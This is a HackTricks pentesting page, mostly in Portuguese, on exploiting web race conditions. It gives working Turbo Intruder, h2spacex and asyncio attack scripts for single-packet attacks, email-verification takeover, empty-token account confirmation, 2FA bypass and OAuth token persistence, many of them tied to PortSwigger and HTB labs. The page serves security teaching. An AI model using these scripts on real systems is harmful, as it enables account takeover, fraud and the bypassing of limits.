hacktricks/src/pentesting-web/race-condition.md

389 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Race Condition
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> Para obter uma compreensão profunda desta técnica, consulte o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Aprimorando ataques de Race Condition
O principal obstáculo para explorar race conditions é garantir que múltiplas requisições sejam processadas ao mesmo tempo, com **diferença muito pequena nos seus tempos de processamento — idealmente, menos de 1ms**.
Aqui você encontra algumas técnicas para sincronizar requisições:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto do jitter de rede. Contudo, devido a variações do lado do servidor, duas requisições podem não ser suficientes para um exploit consistente de race condition.
- **HTTP/1.1 'Last-Byte Sync'**: Permite pré-enviar a maior parte de 20-30 requisições, retendo um pequeno fragmento que é enviado em conjunto, alcançando chegada simultânea no servidor.
**Preparação para Last-Byte Sync** envolve:
1. Enviar headers e dados do body menos o último byte sem encerrar o stream.
2. Pausar por 100ms após o envio inicial.
3. Desabilitar TCP_NODELAY para utilizar o algoritmo de Nagle e agrupar os frames finais.
4. Fazer ping para aquecer a conexão.
O envio subsequente dos frames retidos deve resultar na chegada deles em um único pacote, verificável via Wireshark. Esse método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques RC.
### Adaptando-se à arquitetura do servidor
Entender a arquitetura do alvo é crucial. Servidores front-end podem rotear requisições de formas diferentes, afetando o timing. Pré-aquecer conexões do lado do servidor, através de requisições sem importância, pode normalizar o tempo das requisições.
#### Lidando com bloqueio baseado em sessão
Frameworks como o session handler do PHP serializam requisições por sessão, potencialmente ocultando vulnerabilidades. Utilizar tokens de sessão diferentes para cada requisição pode contornar esse problema.
#### Superando limites de taxa ou de recursos
Se o aquecimento de conexão não for efetivo, provocar intencionalmente delays de limite de taxa ou de recursos do web server por meio de um flood de requisições dummy pode facilitar o single-packet attack ao induzir um atraso do lado do servidor propício para race conditions.
## Exemplos de ataque
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Você pode enviar a requisição para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode mudar na requisição o valor que deseja testar por força bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
Se você for enviar valores diferentes, pode modificar o código para usar esta versão que utiliza uma wordlist da área de transferência:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Se o site não suportar HTTP2 (apenas HTTP1.1) use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Caso você precise enviar uma requisição para 1 endpoint e então várias para outros endpoints para disparar a RCE, você pode alterar o script `race-single-packet-attack.py` com algo como:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- Também está disponível no **Repeater** através da nova opção '**Send group in parallel**' no Burp Suite.
- Para **limit-overrun** você pode simplesmente adicionar a **mesma request 50 vezes** no group.
- Para **connection warming**, você pode **adicionar** no **início** do **group** algumas **requests** para alguma parte não estática do servidor web.
- Para **delaying** o processo **entre** o processamento **de uma request e outra** em um passo de 2 subestados, você pode **adicionar requests extras entre** as duas requests.
- Para um **multi-endpoint** RC você pode começar enviando a **request** que **vai para o hidden state** e então **50 requests** logo em seguida que **exploram o hidden state**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: O objetivo deste script é alterar o email de um usuário enquanto o verifica continuamente até que o token de verificação do novo email chegue ao último email (isto porque no código foi observado um RC onde era possível modificar um email mas a verificação ser enviada para o antigo, porque a variável indicando o email já estava populada com o primeiro).\
Quando a palavra "objetivo" for encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Melhorando Single Packet Attack
Na pesquisa original é explicado que esse ataque tem um limite de 1,500 bytes. Entretanto, em [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1,500 bytes do single packet attack para a **65,535 B window limitation of TCP by using IP layer fragmentation** (dividindo um único pacote em múltiplos pacotes IP) e enviando-os em ordem diferente, evitando o reassembly do pacote até que todos os fragmentos cheguem ao servidor. Essa técnica permitiu ao pesquisador enviar 10,000 requests em cerca de 166ms.
Observe que, embora essa melhoria torne o ataque mais confiável em RC que requerem centenas/milhares de pacotes chegarem ao mesmo tempo, ela também pode ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go possuem uma configuração rígida `SETTINGS_MAX_CONCURRENT_STREAMS` para 100, 128 e 250. Entretanto, outros como NodeJS e nghttp2 têm isso ilimitado.\
Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP de uma única conexão TCP (limitando esse ataque RC).
Você pode encontrar alguns exemplos usando esta técnica no repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
Antes da pesquisa anterior, estes foram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
- **Repeater:** Veja os exemplos da seção anterior.
- **Intruder**: Envie a **request** para o **Intruder**, ajuste o **number of threads** para **30** dentro do **Options menu**, selecione como payload **Null payloads** e gere **30**.
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
- **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **Metodologia RC**
### Limit-overrun / TOCTOU
Este é o tipo mais básico de race condition onde **vulnerabilities** que **appear** em lugares que **limit the number of times you can perform an action**. Como usar o mesmo discount code em uma loja web várias vezes. Um exemplo bem simples pode ser encontrado em [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**this bug**](https://hackerone.com/reports/759247)**.**
Existem muitas variações desse tipo de ataque, incluindo:
- Resgatar um gift card múltiplas vezes
- Avaliar um produto múltiplas vezes
- Sacar ou transferir cash em excesso do seu account balance
- Reutilizar uma única solução de CAPTCHA
- Bypassing um anti-brute-force rate limit
### **Subestados ocultos**
Explorar race conditions complexas frequentemente envolve aproveitar oportunidades breves para interagir com subestados de máquina ocultos ou **unintended machine substates**. Aqui está como abordar isso:
1. **Identify Potential Hidden Substates**
- Comece apontando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de password reset. Foque em:
- **Storage**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados no cliente.
- **Action**: Procure operações que alterem dados existentes, que têm maior probabilidade de criar condições exploráveis comparadas com operações que adicionam novos dados.
- **Keying**: Ataques bem-sucedidos geralmente envolvem operações keyed no mesmo identificador, por exemplo, username ou reset token.
2. **Conduct Initial Probing**
- Teste os endpoints identificados com ataques de race condition, observando quaisquer desvios do resultado esperado. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade.
3. **Demonstrate the Vulnerability**
- Reduza o ataque ao número mínimo de requests necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Este passo pode requerer múltiplas tentativas ou automação devido ao timing preciso envolvido.
### Time Sensitive Attacks
Precisão no timing das requests pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para security tokens. Por exemplo, gerar password reset tokens baseados em timestamps pode permitir tokens idênticos para requests simultâneas.
**To Exploit:**
- Use timing preciso, como um single packet attack, para fazer concurrent password reset requests. Tokens idênticos indicam uma vulnerabilidade.
**Example:**
- Requisite dois password reset tokens ao mesmo tempo e compare-os. Tokens iguais sugerem uma falha na geração de tokens.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
## Hidden substates case studies
### Pay & add an Item
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
### Confirm other emails
A ideia é **verify an email address and change it to a different one at the same time** para descobrir se a plataforma verifica o novo que foi alterado.
### Change email to 2 emails addresses Cookie based
De acordo com [**this research**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab era vulnerável a takeover dessa forma porque poderia **send** o **email verification token of one email to the other email**.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
### Hidden Database states / Confirmation Bypass
Se **2 different writes** são usadas para **add** **information** dentro de um **database**, existe uma pequena porção de tempo onde **only the first data has been written** dentro do database. Por exemplo, ao criar um usuário o **username** e **password** podem ser **written** e **then the token** para confirmar a conta recém-criada é escrito. Isso significa que por um curto período o **token to confirm an account is null**.
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### Bypass 2FA
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 persistência eterna
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Esses serviços permitem que você crie uma aplicação e autentique usuários que o provedor registrou. Para isso, o **client** precisará **permitir que sua aplicação** acesse alguns dos seus dados dentro do **OAUth provider**.\
Então, até aqui é só um login comum com google/linkedin/github... onde você é apresentado a uma página dizendo: "_Application \<InsertCoolName> wants to access your information, do you want to allow it?_"
#### Race Condition em `authorization_code`
O **problema** aparece quando você **o aceita** e automaticamente envia um **`authorization_code`** para a aplicação maliciosa. Então, essa **aplicação abusa de uma Race Condition no provedor de serviços OAUth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ela irá explorar o fato de que você aceitou que a aplicação acesse seus dados para **criar várias contas**. Depois, se você **parar de permitir que a aplicação acesse seus dados**, um par de AT/RT será deletado, mas os outros ainda permanecerão válidos.
#### Race Condition em `Refresh Token`
Uma vez que você tenha **obtido um RT válido** você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para a aplicação maliciosa acessar seus dados, **vários RTs ainda permanecerão válidos.**
## **RC em WebSockets**
- No [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) você pode encontrar um PoC em Java para enviar mensagens WebSocket em **paralelo** para abusar de **Race Conditions também em WebSockets**.
- Com o WebSocket Turbo Intruder do Burp você pode usar o engine **THREADED** para abrir múltiplas conexões WS e disparar payloads em paralelo. Comece pelo exemplo oficial e ajuste `config()` (contagem de threads) para concorrência; isso frequentemente é mais confiável do que agrupar em uma única conexão ao disputar estado no servidor entre handlers WS. Veja [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## Referências
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
- [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
- [WebSocketTurboIntruder GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
{{#include ../banners/hacktricks-training.md}}